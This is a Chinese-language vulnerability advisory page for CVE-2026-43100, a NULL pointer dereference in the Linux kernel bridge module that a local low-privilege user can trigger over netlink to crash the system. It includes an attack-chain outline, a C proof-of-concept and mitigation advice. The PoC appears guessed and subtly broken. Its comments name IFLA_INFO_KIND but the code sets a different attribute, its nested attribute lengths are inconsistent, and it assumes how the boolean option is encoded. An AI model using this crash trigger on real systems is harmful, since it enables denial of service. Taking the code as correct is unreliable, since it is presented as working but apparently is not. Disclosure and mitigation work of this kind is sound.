IPBUF安全漏洞报告
English
CVE-2026-43100 CVSS 5.5 中危

CVE-2026-43100 Linux内核网桥空指针引用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43100
漏洞类型
空指针引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSNULL Pointer DereferenceBridgeLocalVLAN

漏洞概述

Linux内核网桥模块在处理VLAN-0 FDB辅助函数时存在空指针引用漏洞。当CONFIG_BRIDGE_VLAN_FILTERING未开启时,相关VLAN组函数返回NULL,但代码未对此进行校验。本地低权限用户可通过创建特定配置的网桥触发该漏洞,导致内核空指针解引用,引发系统崩溃。

技术细节

该漏洞源于Linux内核网络桥接代码中的逻辑缺陷。当内核未配置CONFIG_BRIDGE_VLAN_FILTERING时,br_vlan_group()和nbp_vlan_group()宏返回NULL指针。然而,处理BR_BOOLOPT_FDB_LOCAL_VLAN_0选项的代码(br_fdb_delete_locals_per_vlan_port等)被无条件编译,且未对返回的VLAN组指针进行NULL检查。代码直接使用list_for_each_entry遍历vg->vlan_list,导致解引用NULL指针。攻击者可利用RTM_NEWLINK消息携带IFLA_BR_MULTI_BOOLOPT属性来触发br_boolopt_multi_toggle调用链,进而引发Kernel Panic(Oops: general protection fault),造成拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统的低权限访问权限(PR:L)。
STEP 2
步骤2
攻击者编写或运行利用程序,通过Netlink套接字与内核通信。
STEP 3
步骤3
程序发送RTM_NEWLINK消息,请求创建一个新的网桥设备,并在IFLA_BR_MULTI_BOOLOPT属性中设置特定标志。
STEP 4
步骤4
内核处理该请求,调用br_boolopt_multi_toggle和br_fdb_toggle_local_vlan_0函数。
STEP 5
步骤5
由于未开启VLAN过滤,VLAN组指针为NULL,代码在未检查的情况下解引用该指针。
STEP 6
步骤6
触发内核一般保护故障,导致系统崩溃或重启。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43100 * Trigger NULL pointer deref in Linux Bridge by toggling FDB local VLAN 0 option * Requires CONFIG_BRIDGE_VLAN_FILTERING not set */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/if_link.h> #define BRIDGE_NAME "br_test" void create_netlink_msg(int sock) { struct { struct nlmsghdr nh; struct ifinfomsg ifi; char buf[1024]; } req; struct rtattr *rta; int ifindex = if_nametoindex("lo"); // Dummy index or use existing interface memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nh.nlmsg_type = RTM_NEWLINK; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.ifi.ifi_family = AF_UNSPEC; // Add interface name rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nh.nlmsg_len)); rta->rta_type = IFLA_IFNAME; rta->rta_len = RTA_LENGTH(strlen(BRIDGE_NAME) + 1); strcpy(RTA_DATA(rta), BRIDGE_NAME); req.nh.nlmsg_len = NLMSG_ALIGN(req.nh.nlmsg_len) + RTA_ALIGN(rta->rta_len); // Add link info (Bridge) struct rtattr *linkinfo = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nh.nlmsg_len)); linkinfo->rta_type = IFLA_LINKINFO; linkinfo->rta_len = RTA_LENGTH(0); req.nh.nlmsg_len += RTA_ALIGN(linkinfo->rta_len); // Nested IFLA_INFO_KIND (bridge) struct rtattr *infodata = (struct rtattr *)(((char *)linkinfo) + RTA_LENGTH(0)); infodata->rta_type = IFLA_INFO_DATA; infodata->rta_len = RTA_LENGTH(0); linkinfo->rta_len += RTA_ALIGN(infodata->rta_len); // Set BR_BOOLOPT_FDB_LOCAL_VLAN_0 // Assuming option maps to a bit or value handled by br_boolopt_multi_toggle struct rtattr *boolopt = (struct rtattr *)(((char *)infodata) + RTA_LENGTH(0)); boolopt->rta_type = IFLA_BR_MULTI_BOOLOPT; // The value needed to trigger the specific path. // Based on git diff, this interacts with the br_boolopt_toggle. uint32_t opt_val = 1; boolopt->rta_len = RTA_LENGTH(sizeof(opt_val)); memcpy(RTA_DATA(boolopt), &opt_val, sizeof(opt_val)); infodata->rta_len += RTA_ALIGN(boolopt->rta_len); req.nh.nlmsg_len += RTA_ALIGN(infodata->rta_len); // Send message send(sock, &req, req.nh.nlmsg_len, 0); printf("[+] Payload sent to trigger CVE-2026-43100\n"); } int main() { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock < 0) { perror("socket"); return 1; } struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; bind(sock, (struct sockaddr *)&addr, sizeof(addr)); create_netlink_msg(sock); close(sock); return 0; }

影响范围

Linux Kernel (CVE-2026-43100修复前版本)

防御指南

临时缓解措施
限制本地非特权用户的网络配置权限(如CAP_NET_ADMIN),防止不可信用户创建或修改网桥设备。由于需要本地访问,严格的用户权限管理可有效缓解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表